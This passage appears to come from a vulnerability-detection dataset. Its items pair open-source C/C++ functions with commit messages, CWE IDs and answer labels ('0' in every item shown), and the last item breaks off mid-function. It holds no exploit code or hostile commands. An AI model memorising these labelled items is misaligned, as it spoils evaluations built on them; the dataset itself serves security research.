struct ext4_sb_info *sbi;
struct ext4_extent_header *eh;
struct ext4_map_blocks split_map;
struct ext4_extent zero_ex;
struct ext4_extent *ex, *abut_ex;
ext4_lblk_t ee_block, eof_block;
unsigned int ee_len, depth, map_len = map->m_len;
int allocated = 0, max_zeroout = 0;
int err = 0;
int split_flag = 0;
ext_debug("ext4_ext_convert_to_initialized: inode %lu, logical"
"block %llu, max_blocks %u\n", inode->i_ino,
(unsigned long long)map->m_lblk, map_len);
sbi = EXT4_SB(inode->i_sb);
eof_block = (inode->i_size + inode->i_sb->s_blocksize - 1) >>
inode->i_sb->s_blocksize_bits;
if (eof_block < map->m_lblk + map_len)
eof_block = map->m_lblk + map_len;
depth = ext_depth(inode);
eh = path[depth].p_hdr;
ex = path[depth].p_ext;
ee_block = le32_to_cpu(ex->ee_block);
ee_len = ext4_ext_get_actual_len(ex);
zero_ex.ee_len = 0;
trace_ext4_ext_convert_to_initialized_enter(inode, map, ex);
/* Pre-conditions */
BUG_ON(!ext4_ext_is_unwritten(ex));
BUG_ON(!in_range(map->m_lblk, ee_block, ee_len));
/*
* Attempt to transfer newly initialized blocks from the currently
* unwritten extent to its neighbor. This is much cheaper
* than an insertion followed by a merge as those involve costly
* memmove() calls. Transferring to the left is the common case in
* steady state for workloads doing fallocate(FALLOC_FL_KEEP_SIZE)
* followed by append writes.
*
* Limitations of the current logic:
* - L1: we do not deal with writes covering the whole extent.
* This would require removing the extent if the transfer
* is possible.
* - L2: we only attempt to merge with an extent stored in the
* same extent tree node.
*/
if ((map->m_lblk == ee_block) &&
/* See if we can merge left */
(map_len < ee_len) && /*L1*/
(ex > EXT_FIRST_EXTENT(eh))) { /*L2*/
ext4_lblk_t prev_lblk;
ext4_fsblk_t prev_pblk, ee_pblk;
unsigned int prev_len;
abut_ex = ex - 1;
prev_lblk = le32_to_cpu(abut_ex->ee_block);
prev_len = ext4_ext_get_actual_len(abut_ex);
prev_pblk = ext4_ext_pblock(abut_ex);
ee_pblk = ext4_ext_pblock(ex);
/*
* A transfer of blocks from 'ex' to 'abut_ex' is allowed
* upon those conditions:
* - C1: abut_ex is initialized,
* - C2: abut_ex is logically abutting ex,
* - C3: abut_ex is physically abutting ex,
* - C4: abut_ex can receive the additional blocks without
* overflowing the (initialized) length limit.
*/
if ((!ext4_ext_is_unwritten(abut_ex)) && /*C1*/
((prev_lblk + prev_len) == ee_block) && /*C2*/
((prev_pblk + prev_len) == ee_pblk) && /*C3*/
(prev_len < (EXT_INIT_MAX_LEN - map_len))) { /*C4*/
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
trace_ext4_ext_convert_to_initialized_fastpath(inode,
map, ex, abut_ex);
/* Shift the start of ex by 'map_len' blocks */
ex->ee_block = cpu_to_le32(ee_block + map_len);
ext4_ext_store_pblock(ex, ee_pblk + map_len);
ex->ee_len = cpu_to_le16(ee_len - map_len);
ext4_ext_mark_unwritten(ex); /* Restore the flag */
/* Extend abut_ex by 'map_len' blocks */
abut_ex->ee_len = cpu_to_le16(prev_len + map_len);
/* Result: number of initialized blocks past m_lblk */
allocated = map_len;
}
} else if (((map->m_lblk + map_len) == (ee_block + ee_len)) &&
(map_len < ee_len) && /*L1*/
ex < EXT_LAST_EXTENT(eh)) { /*L2*/
/* See if we can merge right */
ext4_lblk_t next_lblk;
ext4_fsblk_t next_pblk, ee_pblk;
unsigned int next_len;
abut_ex = ex + 1;
next_lblk = le32_to_cpu(abut_ex->ee_block);
next_len = ext4_ext_get_actual_len(abut_ex);
next_pblk = ext4_ext_pblock(abut_ex);
ee_pblk = ext4_ext_pblock(ex);
/*
* A transfer of blocks from 'ex' to 'abut_ex' is allowed
* upon those conditions:
* - C1: abut_ex is initialized,
* - C2: abut_ex is logically abutting ex,
* - C3: abut_ex is physically abutting ex,
* - C4: abut_ex can receive the additional blocks without
* overflowing the (initialized) length limit.
*/
if ((!ext4_ext_is_unwritten(abut_ex)) && /*C1*/
((map->m_lblk + map_len) == next_lblk) && /*C2*/
((ee_pblk + ee_len) == next_pblk) && /*C3*/
(next_len < (EXT_INIT_MAX_LEN - map_len))) { /*C4*/
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
trace_ext4_ext_convert_to_initialized_fastpath(inode,
map, ex, abut_ex);
/* Shift the start of abut_ex by 'map_len' blocks */
abut_ex->ee_block = cpu_to_le32(next_lblk - map_len);
ext4_ext_store_pblock(abut_ex, next_pblk - map_len);
ex->ee_len = cpu_to_le16(ee_len - map_len);
ext4_ext_mark_unwritten(ex); /* Restore the flag */
/* Extend abut_ex by 'map_len' blocks */
abut_ex->ee_len = cpu_to_le16(next_len + map_len);
/* Result: number of initialized blocks past m_lblk */
allocated = map_len;
}
}
if (allocated) {
/* Mark the block containing both extents as dirty */
ext4_ext_dirty(handle, inode, path + depth);
/* Update path to point to the right extent */
path[depth].p_ext = abut_ex;
goto out;
} else
allocated = ee_len - (map->m_lblk - ee_block);
WARN_ON(map->m_lblk < ee_block);
/*
* It is safe to convert extent to initialized via explicit
* zeroout only if extent is fully inside i_size or new_size.
*/
split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0;
if (EXT4_EXT_MAY_ZEROOUT & split_flag)
max_zeroout = sbi->s_extent_max_zeroout_kb >>
(inode->i_sb->s_blocksize_bits - 10);
/* If extent is less than s_max_zeroout_kb, zeroout directly */
if (max_zeroout && (ee_len <= max_zeroout)) {
err = ext4_ext_zeroout(inode, ex);
if (err)
goto out;
zero_ex.ee_block = ex->ee_block;
zero_ex.ee_len = cpu_to_le16(ext4_ext_get_actual_len(ex));
ext4_ext_store_pblock(&zero_ex, ext4_ext_pblock(ex));
err = ext4_ext_get_access(handle, inode, path + depth);
if (err)
goto out;
ext4_ext_mark_initialized(ex);
ext4_ext_try_to_merge(handle, inode, path, ex);
err = ext4_ext_dirty(handle, inode, path + path->p_depth);
goto out;
}
/*
* four cases:
* 1. split the extent into three extents.
* 2. split the extent into two extents, zeroout the first half.
* 3. split the extent into two extents, zeroout the second half.
* 4. split the extent into two extents with out zeroout.
*/
split_map.m_lblk = map->m_lblk;
split_map.m_len = map->m_len;
if (max_zeroout && (allocated > map->m_len)) {
if (allocated <= max_zeroout) {
/* case 3 */
zero_ex.ee_block =
cpu_to_le32(map->m_lblk);
zero_ex.ee_len = cpu_to_le16(allocated);
ext4_ext_store_pblock(&zero_ex,
ext4_ext_pblock(ex) + map->m_lblk - ee_block);
err = ext4_ext_zeroout(inode, &zero_ex);
if (err)
goto out;
split_map.m_lblk = map->m_lblk;
split_map.m_len = allocated;
} else if (map->m_lblk - ee_block + map->m_len < max_zeroout) {
/* case 2 */
if (map->m_lblk != ee_block) {
zero_ex.ee_block = ex->ee_block;
zero_ex.ee_len = cpu_to_le16(map->m_lblk -
ee_block);
ext4_ext_store_pblock(&zero_ex,
ext4_ext_pblock(ex));
err = ext4_ext_zeroout(inode, &zero_ex);
if (err)
goto out;
}
split_map.m_lblk = ee_block;
split_map.m_len = map->m_lblk - ee_block + map->m_len;
allocated = map->m_len;
}
}
err = ext4_split_extent(handle, inode, ppath, &split_map, split_flag,
flags);
if (err > 0)
err = 0;
out:
/* If we have gotten a failure, don't zero out status tree */
if (!err)
err = ext4_zeroout_es(inode, &zero_ex);
return err ? err : allocated;
}
Commit Message: ext4: allocate entire range in zero range
Currently there is a bug in zero range code which causes zero range
calls to only allocate block aligned portion of the range, while
ignoring the rest in some cases.
In some cases, namely if the end of the range is past i_size, we do
attempt to preallocate the last nonaligned block. However this might
cause kernel to BUG() in some carefully designed zero range requests
on setups where page size > block size.
Fix this problem by first preallocating the entire range, including
the nonaligned edges and converting the written extents to unwritten
in the next step. This approach will also give us the advantage of
having the range to be as linearly contiguous as possible.
Signed-off-by: Lukas Czerner <lczerner@redhat.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
CWE ID: CWE-17
| 0
| 44,866
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void _gdImageFilledHRectangle (gdImagePtr im, int x1, int y1, int x2, int y2, int color)
{
int x, y;
if (x1 == x2 && y1 == y2) {
gdImageSetPixel(im, x1, y1, color);
return;
}
if (x1 > x2) {
x = x1;
x1 = x2;
x2 = x;
}
if (y1 > y2) {
y = y1;
y1 = y2;
y2 = y;
}
if (x1 < 0) {
x1 = 0;
}
if (x2 >= gdImageSX(im)) {
x2 = gdImageSX(im) - 1;
}
if (y1 < 0) {
y1 = 0;
}
if (y2 >= gdImageSY(im)) {
y2 = gdImageSY(im) - 1;
}
for (x = x1; (x <= x2); x++) {
for (y = y1; (y <= y2); y++) {
gdImageSetPixel (im, x, y, color);
}
}
}
Commit Message: Fix #72696: imagefilltoborder stackoverflow on truecolor images
We must not allow negative color values be passed to
gdImageFillToBorder(), because that can lead to infinite recursion
since the recursion termination condition will not necessarily be met.
CWE ID: CWE-119
| 0
| 72,460
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void *php_libxml_streams_IO_open_read_wrapper(const char *filename)
{
return php_libxml_streams_IO_open_wrapper(filename, "rb", 1);
}
Commit Message:
CWE ID:
| 0
| 14,259
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int nfc_llcp_send_rr(struct nfc_llcp_sock *sock)
{
struct sk_buff *skb;
struct nfc_llcp_local *local;
pr_debug("Send rr nr %d\n", sock->recv_n);
local = sock->local;
if (local == NULL)
return -ENODEV;
skb = llcp_allocate_pdu(sock, LLCP_PDU_RR, LLCP_SEQUENCE_SIZE);
if (skb == NULL)
return -ENOMEM;
skb_put(skb, LLCP_SEQUENCE_SIZE);
skb->data[2] = sock->recv_n;
skb_queue_head(&local->tx_queue, skb);
return 0;
}
Commit Message: net: nfc: Fix NULL dereference on nfc_llcp_build_tlv fails
KASAN report this:
BUG: KASAN: null-ptr-deref in nfc_llcp_build_gb+0x37f/0x540 [nfc]
Read of size 3 at addr 0000000000000000 by task syz-executor.0/5401
CPU: 0 PID: 5401 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0xfa/0x1ce lib/dump_stack.c:113
kasan_report+0x171/0x18d mm/kasan/report.c:321
memcpy+0x1f/0x50 mm/kasan/common.c:130
nfc_llcp_build_gb+0x37f/0x540 [nfc]
nfc_llcp_register_device+0x6eb/0xb50 [nfc]
nfc_register_device+0x50/0x1d0 [nfc]
nfcsim_device_new+0x394/0x67d [nfcsim]
? 0xffffffffc1080000
nfcsim_init+0x6b/0x1000 [nfcsim]
do_one_initcall+0xfa/0x5ca init/main.c:887
do_init_module+0x204/0x5f6 kernel/module.c:3460
load_module+0x66b2/0x8570 kernel/module.c:3808
__do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902
do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f9cb79dcc58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000280 RDI: 0000000000000003
RBP: 00007f9cb79dcc70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f9cb79dd6bc
R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004
nfc_llcp_build_tlv will return NULL on fails, caller should check it,
otherwise will trigger a NULL dereference.
Reported-by: Hulk Robot <hulkci@huawei.com>
Fixes: eda21f16a5ed ("NFC: Set MIU and RW values from CONNECT and CC LLCP frames")
Fixes: d646960f7986 ("NFC: Initial LLCP support")
Signed-off-by: YueHaibing <yuehaibing@huawei.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-476
| 0
| 89,680
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Render_Glyph( int x_offset,
int y_offset )
{
grBitmap bit3;
FT_Pos x_top, y_top;
/* first, render the glyph image into a bitmap */
if ( glyph->format != FT_GLYPH_FORMAT_BITMAP )
{
error = FT_Render_Glyph( glyph, antialias ? FT_RENDER_MODE_NORMAL
: FT_RENDER_MODE_MONO );
if ( error )
return error;
}
/* now blit it to our display screen */
bit3.rows = glyph->bitmap.rows;
bit3.width = glyph->bitmap.width;
bit3.pitch = glyph->bitmap.pitch;
bit3.buffer = glyph->bitmap.buffer;
switch ( glyph->bitmap.pixel_mode )
{
case FT_PIXEL_MODE_MONO:
bit3.mode = gr_pixel_mode_mono;
bit3.grays = 0;
break;
case FT_PIXEL_MODE_GRAY:
bit3.mode = gr_pixel_mode_gray;
bit3.grays = glyph->bitmap.num_grays;
}
/* Then, blit the image to the target surface */
x_top = x_offset + glyph->bitmap_left;
y_top = y_offset - glyph->bitmap_top;
grBlitGlyphToBitmap( &bit, &bit3, x_top, y_top, fore_color );
return 0;
}
Commit Message:
CWE ID: CWE-119
| 0
| 10,035
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void cJSON_AddItemReferenceToObject(cJSON *object,const char *string,cJSON *item) {cJSON_AddItemToObject(object,string,create_reference(item));}
Commit Message: fix buffer overflow (#30)
CWE ID: CWE-125
| 0
| 93,691
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gp_rgb8(Pixel *p, png_const_voidp pb)
{
png_const_bytep pp = voidcast(png_const_bytep, pb);
p->r = pp[0];
p->g = pp[1];
p->b = pp[2];
p->a = 255;
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID:
| 0
| 159,891
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SiteProcessCountTracker() {}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 149,339
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: JSValue jsTestObjConditionalAttr5Constructor(ExecState* exec, JSValue slotBase, const Identifier&)
{
JSTestObj* castedThis = jsCast<JSTestObj*>(asObject(slotBase));
return JSTestObjectB::getConstructor(exec, castedThis);
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 101,232
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void search_item_to_list_store_item(GtkListStore *store, GtkTreeIter *new_row,
const gchar *file_name, search_item_t *word)
{
GtkTextIter *beg = gtk_text_iter_copy(&(word->start));
gtk_text_iter_backward_line(beg);
GtkTextIter *end = gtk_text_iter_copy(&(word->end));
/* the first call moves end variable at the end of the current line */
if (gtk_text_iter_forward_line(end))
{
/* the second call moves end variable at the end of the next line */
gtk_text_iter_forward_line(end);
/* don't include the last new which causes an empty line in the GUI list */
gtk_text_iter_backward_char(end);
}
gchar *tmp = gtk_text_buffer_get_text(word->buffer, beg, &(word->start),
/*don't include hidden chars*/FALSE);
gchar *prefix = g_markup_escape_text(tmp, /*NULL terminated string*/-1);
g_free(tmp);
tmp = gtk_text_buffer_get_text(word->buffer, &(word->start), &(word->end),
/*don't include hidden chars*/FALSE);
gchar *text = g_markup_escape_text(tmp, /*NULL terminated string*/-1);
g_free(tmp);
tmp = gtk_text_buffer_get_text(word->buffer, &(word->end), end,
/*don't include hidden chars*/FALSE);
gchar *suffix = g_markup_escape_text(tmp, /*NULL terminated string*/-1);
g_free(tmp);
char *content = xasprintf("%s<span foreground=\"red\">%s</span>%s", prefix, text, suffix);
g_free(suffix);
g_free(text);
g_free(prefix);
gtk_text_iter_free(end);
gtk_text_iter_free(beg);
gtk_list_store_set(store, new_row,
SEARCH_COLUMN_FILE, file_name,
SEARCH_COLUMN_TEXT, content,
SEARCH_COLUMN_ITEM, word,
-1);
}
Commit Message: wizard: fix save users changes after reviewing dump dir files
If the user reviewed the dump dir's files during reporting the crash, the
changes was thrown away and original data was passed to the bugzilla bug
report.
report-gtk saves the first text view buffer and then reloads data from the
reported problem directory, which causes that the changes made to those text
views are thrown away.
Function save_text_if_changed(), except of saving text, also reload the files
from dump dir and update gui state from the dump dir. The commit moves the
reloading and updating gui functions away from this function.
Related to rhbz#1270235
Signed-off-by: Matej Habrnal <mhabrnal@redhat.com>
CWE ID: CWE-200
| 0
| 42,868
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void napi_gro_flush(struct napi_struct *napi)
{
struct sk_buff *skb, *next;
for (skb = napi->gro_list; skb; skb = next) {
next = skb->next;
skb->next = NULL;
napi_gro_complete(skb);
}
napi->gro_count = 0;
napi->gro_list = NULL;
}
Commit Message: veth: Dont kfree_skb() after dev_forward_skb()
In case of congestion, netif_rx() frees the skb, so we must assume
dev_forward_skb() also consume skb.
Bug introduced by commit 445409602c092
(veth: move loopback logic to common location)
We must change dev_forward_skb() to always consume skb, and veth to not
double free it.
Bug report : http://marc.info/?l=linux-netdev&m=127310770900442&w=3
Reported-by: Martín Ferrari <martin.ferrari@gmail.com>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 0
| 32,170
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameHostManager::DidChangeOpener(
int opener_routing_id,
SiteInstance* source_site_instance) {
FrameTreeNode* opener = nullptr;
if (opener_routing_id != MSG_ROUTING_NONE) {
RenderFrameHostImpl* opener_rfhi = RenderFrameHostImpl::FromID(
source_site_instance->GetProcess()->GetID(), opener_routing_id);
if (opener_rfhi)
opener = opener_rfhi->frame_tree_node();
}
if (frame_tree_node_->opener() == opener)
return;
frame_tree_node_->SetOpener(opener);
for (const auto& pair : proxy_hosts_) {
if (pair.second->GetSiteInstance() == source_site_instance)
continue;
pair.second->UpdateOpener();
}
if (render_frame_host_->GetSiteInstance() != source_site_instance)
render_frame_host_->UpdateOpener();
if (pending_render_frame_host_ &&
pending_render_frame_host_->GetSiteInstance() != source_site_instance) {
pending_render_frame_host_->UpdateOpener();
}
if (speculative_render_frame_host_ &&
speculative_render_frame_host_->GetSiteInstance() !=
source_site_instance) {
speculative_render_frame_host_->UpdateOpener();
}
}
Commit Message: Don't show current RenderWidgetHostView while interstitial is showing.
Also moves interstitial page tracking from RenderFrameHostManager to
WebContents, since interstitial pages are not frame-specific. This was
necessary for subframes to detect if an interstitial page is showing.
BUG=729105
TEST=See comment 13 of bug for repro steps
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2938313002
Cr-Commit-Position: refs/heads/master@{#480117}
CWE ID: CWE-20
| 0
| 136,195
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int super_1_load(struct md_rdev *rdev, struct md_rdev *refdev, int minor_version)
{
struct mdp_superblock_1 *sb;
int ret;
sector_t sb_start;
sector_t sectors;
char b[BDEVNAME_SIZE], b2[BDEVNAME_SIZE];
int bmask;
/*
* Calculate the position of the superblock in 512byte sectors.
* It is always aligned to a 4K boundary and
* depeding on minor_version, it can be:
* 0: At least 8K, but less than 12K, from end of device
* 1: At start of device
* 2: 4K from start of device.
*/
switch(minor_version) {
case 0:
sb_start = i_size_read(rdev->bdev->bd_inode) >> 9;
sb_start -= 8*2;
sb_start &= ~(sector_t)(4*2-1);
break;
case 1:
sb_start = 0;
break;
case 2:
sb_start = 8;
break;
default:
return -EINVAL;
}
rdev->sb_start = sb_start;
/* superblock is rarely larger than 1K, but it can be larger,
* and it is safe to read 4k, so we do that
*/
ret = read_disk_sb(rdev, 4096);
if (ret) return ret;
sb = page_address(rdev->sb_page);
if (sb->magic != cpu_to_le32(MD_SB_MAGIC) ||
sb->major_version != cpu_to_le32(1) ||
le32_to_cpu(sb->max_dev) > (4096-256)/2 ||
le64_to_cpu(sb->super_offset) != rdev->sb_start ||
(le32_to_cpu(sb->feature_map) & ~MD_FEATURE_ALL) != 0)
return -EINVAL;
if (calc_sb_1_csum(sb) != sb->sb_csum) {
printk("md: invalid superblock checksum on %s\n",
bdevname(rdev->bdev,b));
return -EINVAL;
}
if (le64_to_cpu(sb->data_size) < 10) {
printk("md: data_size too small on %s\n",
bdevname(rdev->bdev,b));
return -EINVAL;
}
if (sb->pad0 ||
sb->pad3[0] ||
memcmp(sb->pad3, sb->pad3+1, sizeof(sb->pad3) - sizeof(sb->pad3[1])))
/* Some padding is non-zero, might be a new feature */
return -EINVAL;
rdev->preferred_minor = 0xffff;
rdev->data_offset = le64_to_cpu(sb->data_offset);
rdev->new_data_offset = rdev->data_offset;
if ((le32_to_cpu(sb->feature_map) & MD_FEATURE_RESHAPE_ACTIVE) &&
(le32_to_cpu(sb->feature_map) & MD_FEATURE_NEW_OFFSET))
rdev->new_data_offset += (s32)le32_to_cpu(sb->new_offset);
atomic_set(&rdev->corrected_errors, le32_to_cpu(sb->cnt_corrected_read));
rdev->sb_size = le32_to_cpu(sb->max_dev) * 2 + 256;
bmask = queue_logical_block_size(rdev->bdev->bd_disk->queue)-1;
if (rdev->sb_size & bmask)
rdev->sb_size = (rdev->sb_size | bmask) + 1;
if (minor_version
&& rdev->data_offset < sb_start + (rdev->sb_size/512))
return -EINVAL;
if (minor_version
&& rdev->new_data_offset < sb_start + (rdev->sb_size/512))
return -EINVAL;
if (sb->level == cpu_to_le32(LEVEL_MULTIPATH))
rdev->desc_nr = -1;
else
rdev->desc_nr = le32_to_cpu(sb->dev_number);
if (!rdev->bb_page) {
rdev->bb_page = alloc_page(GFP_KERNEL);
if (!rdev->bb_page)
return -ENOMEM;
}
if ((le32_to_cpu(sb->feature_map) & MD_FEATURE_BAD_BLOCKS) &&
rdev->badblocks.count == 0) {
/* need to load the bad block list.
* Currently we limit it to one page.
*/
s32 offset;
sector_t bb_sector;
u64 *bbp;
int i;
int sectors = le16_to_cpu(sb->bblog_size);
if (sectors > (PAGE_SIZE / 512))
return -EINVAL;
offset = le32_to_cpu(sb->bblog_offset);
if (offset == 0)
return -EINVAL;
bb_sector = (long long)offset;
if (!sync_page_io(rdev, bb_sector, sectors << 9,
rdev->bb_page, READ, true))
return -EIO;
bbp = (u64 *)page_address(rdev->bb_page);
rdev->badblocks.shift = sb->bblog_shift;
